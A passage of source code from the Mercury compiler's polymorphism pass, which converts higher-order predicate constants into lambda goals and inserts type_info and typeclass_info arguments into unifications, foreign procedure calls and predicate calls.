ModuleInfo0),\n    poly_info_get_var_types(!.Info, VarTypes0),\n    lookup_var_type(VarTypes0, X0, TypeOfX),\n    list.length(ArgVars0, Arity),\n\n    % We replace any unifications with higher order pred constants\n    % by lambda expressions. For example, we replace\n    %\n    %   X = list.append(Y)     % Y::in, X::out\n    %\n    % with\n    %\n    %   X = (pred(A1::in, A2::out) is ... :- list.append(Y, A1, A2))\n    %\n    % We do this because it makes two things easier. First, mode analysis\n    % needs to check that the lambda goal doesn't bind any nonlocal variables\n    % (e.g. `Y' in above example). This would require a bit of moderately\n    % tricky special case code if we didn't expand them here. Second, this pass\n    % (polymorphism.m) is a lot easier if we don't have to handle higher order\n    % constants. If it turns out that the predicate was nonpolymorphic,\n    % lambda.m will turn the lambda expression back into a higher order\n    % constant again.\n    %\n    % Note that this transformation is also done by modecheck_unify.m, in case\n    % we are rerunning mode analysis after lambda.m has already been run;\n    % any changes to the code here will also need to be duplicated there.\n\n    (\n        % Check if variable has a higher order type.\n        ConsId0 = closure_cons(ShroudedPredProcId, _),\n        proc(PredId, ProcId0) = unshroud_pred_proc_id(ShroudedPredProcId),\n        type_is_higher_order_details(TypeOfX, Purity, _PredOrFunc, EvalMethod,\n            CalleeArgTypes)\n    ->\n        % An `invalid_proc_id' means the predicate is multi-moded. We can't\n        % pick the right mode yet. Perform the rest of the transformation with\n        % any mode (the first) but mark the goal with a feature so that mode\n        % checking knows to fix it up later.\n        ( ProcId0 = invalid_proc_id ->\n            module_info_pred_info(ModuleInfo0, PredId, PredInfo),\n            ProcIds = pred_info_procids(PredInfo),\n            (\n                ProcIds = [ProcId | _],\n                goal_info_add_feature(feature_lambda_undetermined_mode,\n                    GoalInfo0, GoalInfo1)\n            ;\n                ProcIds = [],\n                unexpected($module, $pred, \"no modes\")\n            )\n        ;\n            ProcId = ProcId0,\n            GoalInfo1 = GoalInfo0\n        ),\n        % Convert the higher order pred term to a lambda goal.\n        poly_info_get_varset(!.Info, VarSet0),\n        Context = goal_info_get_context(GoalInfo0),\n        convert_pred_to_lambda_goal(Purity, EvalMethod, X0, PredId, ProcId,\n            ArgVars0, CalleeArgTypes, UnifyContext, GoalInfo1, Context,\n            ModuleInfo0, Functor0, VarSet0, VarSet, VarTypes0, VarTypes),\n        poly_info_set_varset_and_types(VarSet, VarTypes, !Info),\n        % Process the unification in its new form.\n        polymorphism_process_unify(X0, Functor0, Mode0, Unification0,\n            UnifyContext, GoalInfo1, Goal, !Info),\n        Changed = yes\n    ;\n        % Is this a construction or deconstruction of an existentially\n        % typed data type?\n\n        % Check whether the functor had a \"new \" prefix.\n        % If so, assume it is a construction, and strip off the prefix.\n        % Otherwise, assume it is a deconstruction.\n\n        ConsId0 = cons(Functor0, Arity, ConsTypeCtor),\n        ( remove_new_prefix(Functor0, OrigFunctor) ->\n            ConsId = cons(OrigFunctor, Arity, ConsTypeCtor),\n            IsConstruction = yes\n        ;\n            ConsId = ConsId0,\n            IsConstruction = no\n        ),\n\n        % Check whether the functor (with the \"new \" prefix removed)\n        % is an existentially typed functor.\n        type_util.get_existq_cons_defn(ModuleInfo0, TypeOfX, ConsId, ConsDefn)\n    ->\n        % Add extra arguments to the unification for the\n        % type_info and/or type_class_info variables.\n\n        lookup_var_types(VarTypes0, ArgVars0, ActualArgTypes),\n        polymorphism_process_existq_unify_functor(ConsDefn,\n            IsConstruction, ActualArgTypes, TypeOfX, GoalInfo0,\n            ExtraVars, ExtraGoals, !Info),\n        ArgVars = ExtraVars ++ ArgVars0,\n        NonLocals0 = goal_info_get_nonlocals(GoalInfo0),\n        set_of_var.insert_list(ExtraVars, NonLocals0, NonLocals),\n        goal_info_set_nonlocals(NonLocals, GoalInfo0, GoalInfo1),\n\n        % Some of the argument unifications may be complicated unifications,\n        % which may need type_infos.\n        unification_typeinfos(TypeOfX, Unification0, Unification,\n            GoalInfo1, GoalInfo, _Changed, !Info),\n\n        UnifyExpr = unify(X0, rhs_functor(ConsId, IsConstruction, ArgVars),\n            Mode0, Unification, UnifyContext),\n        Unify = hlds_goal(UnifyExpr, GoalInfo),\n        GoalList = ExtraGoals ++ [Unify],\n        conj_list_to_goal(GoalList, GoalInfo0, Goal),\n        Changed = yes\n    ;\n        % We leave construction/deconstruction unifications alone.\n        % Some of the argument unifications may be complicated unifications,\n        % which may need type_infos.\n\n        % XXX Return original Goal0 if Changed = no.\n        unification_typeinfos(TypeOfX, Unification0, Unification,\n            GoalInfo0, GoalInfo, Changed, !Info),\n        GoalExpr = unify(X0, rhs_functor(ConsId0, no, ArgVars0), Mode0,\n            Unification, UnifyContext),\n        Goal = hlds_goal(GoalExpr, GoalInfo)\n    ).\n\nconvert_pred_to_lambda_goal(Purity, EvalMethod, X0, PredId, ProcId,\n        ArgVars0, PredArgTypes, UnifyContext, GoalInfo0, Context,\n        ModuleInfo0, Functor, !VarSet, !VarTypes) :-\n    % Create the new lambda-quantified variables.\n    create_fresh_vars(PredArgTypes, LambdaVars, !VarSet, !VarTypes),\n    Args = ArgVars0 ++ LambdaVars,\n\n    % Build up the hlds_goal_expr for the call that will form the lambda goal.\n    module_info_pred_proc_info(ModuleInfo0, PredId, ProcId,\n        PredInfo, ProcInfo),\n\n    PredModule = pred_info_module(PredInfo),\n    PredName = pred_info_name(PredInfo),\n    QualifiedPName = qualified(PredModule, PredName),\n\n    % The ConsId's type_ctor shouldn't matter in a call_unify_context.\n    ConsId = cons(QualifiedPName, list.length(ArgVars0),\n        cons_id_dummy_type_ctor),\n    RHS = rhs_functor(ConsId, no, ArgVars0),\n    CallUnifyContext = call_unify_context(X0, RHS, UnifyContext),\n    LambdaGoalExpr = plain_call(PredId, ProcId, Args, not_builtin,\n        yes(CallUnifyContext), QualifiedPName),\n\n    % Construct a goal_info for the lambda goal, making sure to set up\n    % the nonlocals field in the goal_info correctly. The goal_id is needed\n    % to compute constraint_ids correctly.\n\n    NonLocals = goal_info_get_nonlocals(GoalInfo0),\n    set_of_var.insert_list(LambdaVars, NonLocals, OutsideVars),\n    set_of_var.list_to_set(Args, InsideVars),\n    set_of_var.intersect(OutsideVars, InsideVars, LambdaNonLocals),\n    GoalId = goal_info_get_goal_id(GoalInfo0),\n    goal_info_init(LambdaGoalInfo0),\n    goal_info_set_context(Context, LambdaGoalInfo0, LambdaGoalInfo1),\n    goal_info_set_nonlocals(LambdaNonLocals, LambdaGoalInfo1, LambdaGoalInfo2),\n    goal_info_set_purity(Purity, LambdaGoalInfo2, LambdaGoalInfo3),\n    goal_info_set_goal_id(GoalId, LambdaGoalInfo3, LambdaGoalInfo),\n    LambdaGoal = hlds_goal(LambdaGoalExpr, LambdaGoalInfo),\n\n    % Work out the modes of the introduced lambda variables and the determinism\n    % of the lambda goal.\n    lambda_modes_and_det(ProcInfo, LambdaVars, LambdaModes, LambdaDet),\n\n    % Construct the lambda expression.\n\n    PredOrFunc = pred_info_is_pred_or_func(PredInfo),\n    % Higher-order values created in this fashion are always ground.\n    Groundness = ho_ground,\n    Functor = rhs_lambda_goal(Purity, Groundness, PredOrFunc, EvalMethod,\n        ArgVars0, LambdaVars, LambdaModes, LambdaDet, LambdaGoal).\n\nfix_undetermined_mode_lambda_goal(ProcId, Functor0, Functor, ModuleInfo) :-\n    Functor0 = rhs_lambda_goal(Purity, Groundness, PredOrFunc, EvalMethod,\n        ArgVars0, LambdaVars, _LambdaModes0, _LambdaDet0, LambdaGoal0),\n    LambdaGoal0 = hlds_goal(_, LambdaGoalInfo),\n    goal_to_conj_list(LambdaGoal0, LambdaGoalList0),\n    (\n        list.split_last(LambdaGoalList0, LambdaGoalButLast0, LastGoal0),\n        LastGoal0 = hlds_goal(LastGoalExpr0, LastGoalInfo0),\n        LastGoalExpr0 = plain_call(PredId0, _DummyProcId, Args0, not_builtin,\n            MaybeCallUnifyContext0, QualifiedPName0)\n    ->\n        LambdaGoalButLast = LambdaGoalButLast0,\n        LastGoalInfo = LastGoalInfo0,\n        PredId = PredId0,\n        Args = Args0,\n        MaybeCallUnifyContext = MaybeCallUnifyContext0,\n        QualifiedPName = QualifiedPName0\n    ;\n        unexpected($module, $pred, \"unmatched lambda goal\")\n    ),\n\n    module_info_pred_proc_info(ModuleInfo, PredId, ProcId, _, ProcInfo),\n\n    % Build up the lambda goal.\n    LastGoalExpr = plain_call(PredId, ProcId, Args, not_builtin,\n        MaybeCallUnifyContext, QualifiedPName),\n    LastGoal = hlds_goal(LastGoalExpr, LastGoalInfo),\n    conj_list_to_goal(LambdaGoalButLast ++ [LastGoal], LambdaGoalInfo,\n        LambdaGoal),\n\n    % Work out the modes of the introduced lambda variables and the determinism\n    % of the lambda goal.\n    lambda_modes_and_det(ProcInfo, LambdaVars, LambdaModes, LambdaDet),\n\n    % Construct the lambda expression.\n    Functor = rhs_lambda_goal(Purity, Groundness, PredOrFunc, EvalMethod,\n        ArgVars0, LambdaVars, LambdaModes, LambdaDet, LambdaGoal).\n\n:- pred lambda_modes_and_det(proc_info::in, prog_vars::in, list(mer_mode)::out,\n    determinism::out) is det.\n\nlambda_modes_and_det(ProcInfo, LambdaVars, LambdaModes, LambdaDet) :-\n    proc_info_get_argmodes(ProcInfo, ArgModes),\n    list.length(ArgModes, NumArgModes),\n    list.length(LambdaVars, NumLambdaVars),\n    ( list.drop(NumArgModes - NumLambdaVars, ArgModes, LambdaModesPrime) ->\n        LambdaModes = LambdaModesPrime\n    ;\n        unexpected($module, $pred, \"list.drop failed\")\n    ),\n    proc_info_get_declared_determinism(ProcInfo, MaybeDet),\n    (\n        MaybeDet = yes(Det),\n        LambdaDet = Det\n    ;\n        MaybeDet = no,\n        sorry($module, $pred,\n            \"determinism inference for higher order predicate terms.\")\n    ).\n\n:- pred create_fresh_vars(list(mer_type)::in, list(prog_var)::out,\n    prog_varset::in, prog_varset::out, vartypes::in, vartypes::out) is det.\n\ncreate_fresh_vars([], [], !VarSet, !VarTypes).\ncreate_fresh_vars([Type | Types], [Var | Vars], !VarSet, !VarTypes) :-\n    varset.new_var(Var, !VarSet),\n    add_var_type(Var, Type, !VarTypes),\n    create_fresh_vars(Types, Vars, !VarSet, !VarTypes).\n\n%-----------------------------------------------------------------------------%\n\n    % Compute the extra arguments that we need to add to a unification with\n    % an existentially quantified data constructor.\n    %\n:- pred polymorphism_process_existq_unify_functor(ctor_defn::in, bool::in,\n    list(mer_type)::in, mer_type::in, hlds_goal_info::in, list(prog_var)::out,\n    list(hlds_goal)::out, poly_info::in, poly_info::out) is det.\n\npolymorphism_process_existq_unify_functor(CtorDefn, IsConstruction,\n        ActualArgTypes, ActualRetType, GoalInfo,\n        ExtraVars, ExtraGoals, !Info) :-\n    CtorDefn = ctor_defn(CtorTypeVarSet, CtorExistQVars, CtorKindMap,\n        CtorExistentialConstraints, CtorArgTypes, CtorRetType),\n\n    % Rename apart the type variables in the constructor definition.\n    poly_info_get_typevarset(!.Info, TypeVarSet0),\n    tvarset_merge_renaming(TypeVarSet0, CtorTypeVarSet, TypeVarSet,\n        CtorToParentRenaming),\n    apply_variable_renaming_to_tvar_list(CtorToParentRenaming,\n        CtorExistQVars, ParentExistQVars),\n    apply_variable_renaming_to_tvar_kind_map(CtorToParentRenaming,\n        CtorKindMap, ParentKindMap),\n    apply_variable_renaming_to_prog_constraint_list(CtorToParentRenaming,\n        CtorExistentialConstraints, ParentExistentialConstraints),\n    apply_variable_renaming_to_type_list(CtorToParentRenaming,\n        CtorArgTypes, ParentArgTypes),\n    apply_variable_renaming_to_type(CtorToParentRenaming, CtorRetType,\n        ParentRetType),\n    poly_info_set_typevarset(TypeVarSet, !Info),\n\n    % Compute the type bindings resulting from the functor's actual argument\n    % and return types. These are the ones that might bind the ExistQVars.\n    type_list_subsumes_det([ParentRetType | ParentArgTypes],\n        [ActualRetType | ActualArgTypes], ParentToActualTypeSubst),\n\n    % Create type_class_info variables for the type class constraints.\n    poly_info_get_constraint_map(!.Info, ConstraintMap),\n    GoalId = goal_info_get_goal_id(GoalInfo),\n    list.length(ParentExistentialConstraints, NumExistentialConstraints),\n    Context = goal_info_get_context(GoalInfo),\n    (\n        IsConstruction = yes,\n        % Assume it is a construction.\n        lookup_hlds_constraint_list(ConstraintMap, unproven, GoalId,\n            NumExistentialConstraints, ActualExistentialConstraints),\n        make_typeclass_info_vars(ActualExistentialConstraints, [], Context,\n            ExtraTypeClassVarsMCAs, ExtraTypeClassGoals, !Info),\n        assoc_list.keys(ExtraTypeClassVarsMCAs, ExtraTypeClassVars)\n    ;\n        IsConstruction = no,\n        % Assume it is a deconstruction.\n        lookup_hlds_constraint_list(ConstraintMap, assumed, GoalId,\n            NumExistentialConstraints, ActualExistentialConstraints),\n        make_existq_typeclass_info_vars(ActualExistentialConstraints,\n            ExtraTypeClassVars, ExtraTypeClassGoals, !Info)\n    ),\n\n    % Compute the set of _unconstrained_ existentially quantified type\n    % variables, and then apply the type bindings to those type variables\n    % to figure out what types they are bound to.\n    constraint_list_get_tvars(ParentExistentialConstraints,\n        ParentExistConstrainedTVars),\n    list.delete_elems(ParentExistQVars, ParentExistConstrainedTVars,\n        ParentUnconstrainedExistQVars),\n    apply_rec_subst_to_tvar_list(ParentKindMap, ParentToActualTypeSubst,\n        ParentUnconstrainedExistQVars, ActualExistentialTypes),\n\n    % Create type_info variables for the _unconstrained_ existentially\n    % quantified type variables.\n    polymorphism_do_make_type_info_vars(ActualExistentialTypes, Context,\n        ExtraTypeInfoVarsMCAs, ExtraTypeInfoGoals, !Info),\n    assoc_list.keys(ExtraTypeInfoVarsMCAs, ExtraTypeInfoVars),\n\n    % The type_class_info variables go AFTER the type_info variables\n    % (for consistency with the order for argument passing,\n    % and because the RTTI support in the runtime system relies on it)\n\n    ExtraGoals = ExtraTypeInfoGoals ++ ExtraTypeClassGoals,\n    ExtraVars = ExtraTypeInfoVars ++ ExtraTypeClassVars.\n\n%-----------------------------------------------------------------------------%\n\n:- pred polymorphism_process_foreign_proc(pred_info::in,\n    hlds_goal_expr::in(bound(call_foreign_proc(ground,ground,ground,ground,\n    ground,ground,ground))), hlds_goal_info::in, hlds_goal::out,\n    poly_info::in, poly_info::out) is det.\n\npolymorphism_process_foreign_proc(PredInfo, GoalExpr0, GoalInfo0,\n        Goal, !Info) :-\n    % Insert the type_info vars into the argname map, so that the foreign_proc\n    % can refer to the type_info variable for type T as `TypeInfo_for_T'.\n    GoalExpr0 = call_foreign_proc(Attributes, PredId, ProcId,\n        Args0, ProcExtraArgs, MaybeTraceRuntimeCond, Impl),\n    ArgVars0 = list.map(foreign_arg_var, Args0),\n    polymorphism_process_call(PredId, ArgVars0, GoalInfo0, GoalInfo,\n        ExtraVars, ExtraGoals, !Info),\n    CanOptAwayUnnamed = yes,\n    polymorphism_process_foreign_proc_args(PredInfo, CanOptAwayUnnamed, Impl,\n        ExtraVars, ExtraArgs),\n    Args = ExtraArgs ++ Args0,\n\n    % Plug it all back together.\n    CallExpr = call_foreign_proc(Attributes, PredId, ProcId,\n        Args, ProcExtraArgs, MaybeTraceRuntimeCond, Impl),\n    Call = hlds_goal(CallExpr, GoalInfo),\n    GoalList = ExtraGoals ++ [Call],\n    conj_list_to_goal(GoalList, GoalInfo0, Goal).\n\n:- pred polymorphism_process_foreign_proc_args(pred_info::in, bool::in,\n    pragma_foreign_code_impl::in, list(prog_var)::in, list(foreign_arg)::out)\n    is det.\n\npolymorphism_process_foreign_proc_args(PredInfo, CanOptAwayUnnamed, Impl, Vars,\n        Args) :-\n    pred_info_get_arg_types(PredInfo, PredTypeVarSet, ExistQVars,\n        PredArgTypes),\n\n    % Find out which variables are constrained (so that we don't add\n    % type_infos for them).\n    pred_info_get_class_context(PredInfo, constraints(UnivCs, ExistCs)),\n    UnivVars0 = list.map(get_constrained_vars, UnivCs),\n    list.condense(UnivVars0, UnivConstrainedVars),\n    ExistVars0 = list.map(get_constrained_vars, ExistCs),\n    list.condense(ExistVars0, ExistConstrainedVars),\n\n    type_vars_list(PredArgTypes, PredTypeVars0),\n    list.remove_dups(PredTypeVars0, PredTypeVars1),\n    list.delete_elems(PredTypeVars1, UnivConstrainedVars, PredTypeVars2),\n    list.delete_elems(PredTypeVars2, ExistConstrainedVars, PredTypeVars),\n\n    % The argument order is described at the top of this file.\n\n    in_mode(In),\n    out_mode(Out),\n\n    list.map(foreign_proc_add_typeclass_info(CanOptAwayUnnamed, Out, Impl,\n        PredTypeVarSet), ExistCs, ExistTypeClassArgInfos),\n    list.map(foreign_proc_add_typeclass_info(CanOptAwayUnnamed, In, Impl,\n        PredTypeVarSet), UnivCs, UnivTypeClassArgInfos),\n    TypeClassArgInfos = UnivTypeClassArgInfos ++ ExistTypeClassArgInfos,\n\n    list.filter((pred(X::in) is semidet :- list.member(X, ExistQVars)),\n        PredTypeVars, ExistUnconstrainedVars, UnivUnconstrainedVars),\n\n    list.map(foreign_proc_add_typeinfo(CanOptAwayUnnamed, Out, Impl,\n        PredTypeVarSet), ExistUnconstrainedVars, ExistTypeArgInfos),\n    list.map(foreign_proc_add_typeinfo(CanOptAwayUnnamed, In, Impl,\n        PredTypeVarSet), UnivUnconstrainedVars, UnivTypeArgInfos),\n    TypeInfoArgInfos = UnivTypeArgInfos ++ ExistTypeArgInfos,\n\n    ArgInfos = TypeInfoArgInfos ++ TypeClassArgInfos,\n\n    % Insert type_info/typeclass_info types for all the inserted\n    % type_info/typeclass_info vars into the argument type list.\n\n    TypeInfoTypes = list.map((func(_) = type_info_type), PredTypeVars),\n    list.map(build_typeclass_info_type, UnivCs, UnivTypes),\n    list.map(build_typeclass_info_type, ExistCs, ExistTypes),\n    OrigArgTypes = TypeInfoTypes ++ UnivTypes ++ ExistTypes,\n\n    make_foreign_args(Vars, ArgInfos, OrigArgTypes, Args).\n\n:- pred foreign_proc_add_typeclass_info(bool::in, mer_mode::in,\n    pragma_foreign_code_impl::in, tvarset::in, prog_constraint::in,\n    pair(maybe(pair(string, mer_mode)), box_policy)::out) is det.\n\nforeign_proc_add_typeclass_info(CanOptAwayUnnamed, Mode, Impl, TypeVarSet,\n        Constraint, MaybeArgName - native_if_possible) :-\n    Constraint = constraint(SymName, Types),\n    Name = sym_name_to_string_sep(SymName, \"__\"),\n    type_vars_list(Types, TypeVars),\n    TypeVarNames = list.map(underscore_and_tvar_name(TypeVarSet), TypeVars),\n    string.append_list([\"TypeClassInfo_for_\", Name | TypeVarNames],\n        ConstraintVarName),\n    % If the variable name corresponding to the typeclass_info isn't mentioned\n    % in the C code fragment, don't pass the variable to the C code at all.\n    (\n        CanOptAwayUnnamed = yes,\n        foreign_code_does_not_use_variable(Impl, ConstraintVarName)\n    ->\n        MaybeArgName = no\n    ;\n        MaybeArgName = yes(ConstraintVarName - Mode)\n    ).\n\n:- pred foreign_proc_add_typeinfo(bool::in, mer_mode::in,\n    pragma_foreign_code_impl::in, tvarset::in, tvar::in,\n    pair(maybe(pair(string, mer_mode)), box_policy)::out) is det.\n\nforeign_proc_add_typeinfo(CanOptAwayUnnamed, Mode, Impl, TypeVarSet, TVar,\n        MaybeArgName - native_if_possible) :-\n    ( varset.search_name(TypeVarSet, TVar, TypeVarName) ->\n        C_VarName = \"TypeInfo_for_\" ++ TypeVarName,\n        % If the variable name corresponding to the type_info isn't mentioned\n        % in the C code fragment, don't pass the variable to the C code at all.\n        (\n            CanOptAwayUnnamed = yes,\n            foreign_code_does_not_use_variable(Impl, C_VarName)\n        ->\n            MaybeArgName = no\n        ;\n            MaybeArgName = yes(C_VarName - Mode)\n        )\n    ;\n        MaybeArgName = no\n    ).\n\n:- pred foreign_code_does_not_use_variable(pragma_foreign_code_impl::in,\n    string::in) is semidet.\n\nforeign_code_does_not_use_variable(Impl, VarName) :-\n    % XXX This test used to be turned off with the semidet_fail, as it caused\n    % the compiler to abort when compiling declarative_execution.m in stage2,\n    % but this is no longer the case.\n    % semidet_fail,\n    \\+ foreign_code_uses_variable(Impl, VarName).\n\n:- func underscore_and_tvar_name(tvarset, tvar) = string.\n\nunderscore_and_tvar_name(TypeVarSet, TVar) = TVarName :-\n    varset.lookup_name(TypeVarSet, TVar, TVarName0),\n    TVarName = \"_\" ++ TVarName0.\n\n:- pred polymorphism_process_plain_conj(list(hlds_goal)::in,\n    list(hlds_goal)::out, poly_info::in, poly_info::out) is det.\n\npolymorphism_process_plain_conj([], [], !Info).\npolymorphism_process_plain_conj([Goal0 | Goals0], [Goal | Goals], !Info) :-\n    polymorphism_process_goal(Goal0, Goal, !Info),\n    polymorphism_process_plain_conj(Goals0, Goals, !Info).\n\n:- pred polymorphism_process_par_conj(list(hlds_goal)::in,\n    list(hlds_goal)::out, cache_maps::in, poly_info::in, poly_info::out)\n    is det.\n\npolymorphism_process_par_conj([], [], _, !Info).\npolymorphism_process_par_conj([Goal0 | Goals0], [Goal | Goals],\n        InitialSnapshot, !Info) :-\n    % Any variable that a later parallel conjunct reuses from an earlier\n    % parallel conjunct (a) will definitely require synchronization, whose\n    % cost will be greater than the cost of building a typeinfo from scratch,\n    % and (b) may drastically reduce the available parallelism, if the earlier\n    % conjunct produces the variable late but the later conjunct requires it\n    % early.\n    set_cache_maps_snapshot(\"par conjunct\", InitialSnapshot, !Info),\n    polymorphism_process_goal(Goal0, Goal, !Info),\n    polymorphism_process_par_conj(Goals0, Goals, InitialSnapshot, !Info).\n\n:- pred polymorphism_process_disj(list(hlds_goal)::in, list(hlds_goal)::out,\n    cache_maps::in, poly_info::in, poly_info::out) is det.\n\npolymorphism_process_disj([], [], _, !Info).\npolymorphism_process_disj([Goal0 | Goals0], [Goal | Goals], InitialSnapshot,\n        !Info) :-\n    set_cache_maps_snapshot(\"disjunct\", InitialSnapshot, !Info),\n    polymorphism_process_goal(Goal0, Goal, !Info),\n    polymorphism_process_disj(Goals0, Goals, InitialSnapshot, !Info).\n\n:- pred polymorphism_process_cases(list(case)::in, list(case)::out,\n    cache_maps::in, poly_info::in, poly_info::out) is det.\n\npolymorphism_process_cases([], [], _, !Info).\npolymorphism_process_cases([Case0 | Cases0], [Case | Cases], InitialSnapshot,\n        !Info) :-\n    Case0 = case(MainConsId, OtherConsIds, Goal0),\n    set_cache_maps_snapshot(\"case\", InitialSnapshot, !Info),\n    polymorphism_process_goal(Goal0, Goal, !Info),\n    Case = case(MainConsId, OtherConsIds, Goal),\n    polymorphism_process_cases(Cases0, Cases, InitialSnapshot, !Info).\n\n%-----------------------------------------------------------------------------%\n\n    % XXX document me\n    %\n    % XXX the following code ought to be rewritten to handle\n    % existential/universal type_infos and type_class_infos\n    % in a more consistent manner.\n    %\n:- pred polymorphism_process_call(pred_id::in, list(prog_var)::in,\n    hlds_goal_info::in, hlds_goal_info::out,\n    list(prog_var)::out, list(hlds_goal)::out,\n    poly_info::in, poly_info::out) is det.\n\npolymorphism_process_call(PredId, ArgVars0, GoalInfo0, GoalInfo,\n        ExtraVars, ExtraGoals, !Info) :-\n    poly_info_get_var_types(!.Info, VarTypes),\n    poly_info_get_typevarset(!.Info, TypeVarSet0),\n    poly_info_get_module_info(!.Info, ModuleInfo),\n\n    % The order of the added variables is important, and must match the\n    % order specified at the top of this file.\n\n    module_info_pred_info(ModuleInfo, PredId, PredInfo),\n    pred_info_get_arg_types(PredInfo, PredTypeVarSet, PredExistQVars,\n        PredArgTypes),\n    pred_info_get_tvar_kinds(PredInfo, PredKindMap),\n    pred_info_get_class_context(PredInfo, PredClassContext),\n\n    % VarTypes, TypeVarSet* etc come from the caller.\n    % PredTypeVarSet, PredArgTypes, PredExistQVars, etc come\n    % directly from the callee.\n    % ParentArgTypes, ParentExistQVars etc come from a version\n    % of the callee that has been renamed apart from the caller.\n    %\n    % The difference between e.g. PredArgTypes and ParentArgTypes is the\n    % application of PredToParentTypeRenaming, which maps the type variables\n    % in the callee to new type variables in the caller. Adding the new type\n    % variables to TypeVarSet0 yields TypeVarSet.\n\n    ( varset.is_empty(PredTypeVarSet) ->\n        % Optimize a common case.\n        map.init(PredToParentTypeRenaming),\n        TypeVarSet = TypeVarSet0,\n        ParentArgTypes = PredArgTypes,\n        ParentKindMap = PredKindMap,\n        ParentTVars = [],\n        ParentExistQVars = []\n    ;\n        % This merge might be a performance bottleneck?\n        tvarset_merge_renaming(TypeVarSet0, PredTypeVarSet, TypeVarSet,\n            PredToParentTypeRenaming),\n        apply_variable_renaming_to_type_list(PredToParentTypeRenaming,\n            PredArgTypes, ParentArgTypes),\n        type_vars_list(ParentArgTypes, ParentTVars),\n        apply_variable_renaming_to_tvar_kind_map(PredToParentTypeRenaming,\n            PredKindMap, ParentKindMap),\n        apply_variable_renaming_to_tvar_list(PredToParentTypeRenaming,\n            PredExistQVars, ParentExistQVars)\n    ),\n\n    PredModule = pred_info_module(PredInfo),\n    PredName = pred_info_name(PredInfo),\n    PredArity = pred_info_orig_arity(PredInfo),\n    (\n        (\n            % Optimize for the common case of nonpolymorphic call\n            % with no constraints.\n            ParentTVars = [],\n            PredClassContext = constraints([], [])\n        ;\n            % Some builtins don't need or want the type_info.\n            no_type_info_builtin(PredModule, PredName, PredArity)\n        )\n    ->\n        GoalInfo = GoalInfo0,\n        ExtraGoals = [],\n        ExtraVars = []\n    ;\n        poly_info_set_typevarset(TypeVarSet, !Info),\n\n        % Compute which \"parent\" type variables are constrained\n        % by the type class constraints.\n        apply_variable_renaming_to_prog_constraints(PredToParentTypeRenaming,\n            PredClassContext, ParentClassContext),\n        ParentClassContext = constraints(ParentUnivConstraints,\n            ParentExistConstraints),\n        constraint_list_get_tvars(ParentUnivConstraints,\n            ParentUnivConstrainedTVars),\n        constraint_list_get_tvars(ParentExistConstraints,\n            ParentExistConstrainedTVars),\n\n        % Calculate the set of unconstrained type vars. Split these into\n        % existential and universal type vars.\n        list.remove_dups(ParentTVars, ParentUnconstrainedTVars0),\n        list.delete_elems(ParentUnconstrainedTVars0,\n            ParentUnivConstrainedTVars, ParentUnconstrainedTVars1),\n        list.delete_elems(ParentUnconstrainedTVars1,\n            ParentExistConstrainedTVars, ParentUnconstrainedTVars),\n        list.delete_elems(ParentUnconstrainedTVars, ParentExistQVars,\n            ParentUnconstrainedUnivTVars),\n        list.delete_elems(ParentUnconstrainedTVars,\n            ParentUnconstrainedUnivTVars, ParentUnconstrainedExistTVars),\n\n        % Calculate the \"parent to actual\" binding.\n        lookup_var_types(VarTypes, ArgVars0, ActualArgTypes),\n        type_list_subsumes_det(ParentArgTypes, ActualArgTypes,\n            ParentToActualTypeSubst),\n\n        % Make the universally quantified typeclass_infos for the call.\n        poly_info_get_constraint_map(!.Info, ConstraintMap),\n        GoalId = goal_info_get_goal_id(GoalInfo0),\n        list.length(ParentUnivConstraints, NumUnivConstraints),\n        lookup_hlds_constraint_list(ConstraintMap, unproven, GoalId,\n            NumUnivConstraints, ActualUnivConstraints),\n        apply_rec_subst_to_tvar_list(ParentKindMap, ParentToActualTypeSubst,\n            ParentExistQVars, ActualExistQVarTypes),\n        (\n            prog_type.type_list_to_var_list(ActualExistQVarTypes,\n                ActualExistQVars0)\n        ->\n            ActualExistQVars = ActualExistQVars0\n        ;\n            unexpected($module, $pred, \"existq_tvar bound\")\n        ),\n        Context = goal_info_get_context(GoalInfo0),\n        make_typeclass_info_vars(ActualUnivConstraints, ActualExistQVars,\n            Context, ExtraUnivClassVarsMCAs, ExtraUnivClassGoals,\n            !Info),\n        assoc_list.keys(ExtraUnivClassVarsMCAs, ExtraUnivClassVars),\n\n        % Make variables to hold any existentially quantified typeclass_infos\n        % in the call, insert them into the typeclass_info map.\n        list.length(ParentExistConstraints, NumExistConstraints),\n        lookup_hlds_constraint_list(ConstraintMap, assumed, GoalId,\n            NumExistConstraints, ActualExistConstraints),\n        make_existq_typeclass_info_vars(ActualExistConstraints,\n            ExtraExistClassVars, ExtraExistClassGoals, !Info),\n\n        % Make variables to hold typeinfos for unconstrained universal type\n        % vars.\n        apply_rec_subst_to_tvar_list(ParentKindMap, ParentToActualTypeSubst,\n            ParentUnconstrainedUnivTVars, ActualUnconstrainedUnivTypes),\n        polymorphism_do_make_type_info_vars(ActualUnconstrainedUnivTypes,\n            Context, ExtraUnivTypeInfoVarsMCAs,\n            ExtraUnivTypeInfoGoals, !Info),\n        assoc_list.keys(ExtraUnivTypeInfoVarsMCAs,\n            ExtraUnivTypeInfoVars),\n\n        % Make variables to hold typeinfos for unconstrained existential type\n        % vars.\n        apply_rec_subst_to_tvar_list(ParentKindMap, ParentToActualTypeSubst,\n            ParentUnconstrainedExistTVars, ActualUnconstrainedExistTypes),\n        polymorphism_do_make_type_info_vars(ActualUnconstrainedExistTypes,\n            Context, ExtraExistTypeInfoVarsMCAs,\n            ExtraExistTypeInfoGoals, !Info),\n        assoc_list.keys(ExtraExistTypeInfoVarsMCAs,\n            ExtraExistTypeInfoVars),\n\n        % Add up the extra vars and goals.\n        ExtraGoals = ExtraUnivClassGoals ++ ExtraExistClassGoals\n            ++ ExtraUnivTypeInfoGoals ++ ExtraExistTypeInfoGoals,\n        ExtraVars = ExtraUnivTypeInfoVars ++ ExtraExistTypeInfoVars\n            ++ ExtraUnivClassVars ++ ExtraExistClassVars,\n\n        % Update the nonlocals.\n        NonLocals0 = goal_info_get_nonlocals(GoalInfo0),\n        set_of_var.insert_list(ExtraVars, NonLocals0, NonLocals),\n        goal_info_set_nonlocals(NonLocals, GoalInfo0, GoalInfo)\n    ).\n\n%-----------------------------------------------------------------------------%\n\npolymorphism_process_new_call(CalleePredInfo, CalleeProcInfo, PredId, ProcId,\n        CallArgs0, BuiltinState, MaybeCallUnifyContext, SymName,\n        GoalInfo0, Goal, !Info) :-\n    % document me better\n    %\n    poly_info_get_typevarset(!.Info, TVarSet0),\n    poly_info_get_var_types(!.Info, VarTypes0),\n    lookup_var_types(VarTypes0, CallArgs0, ActualArgTypes0),\n    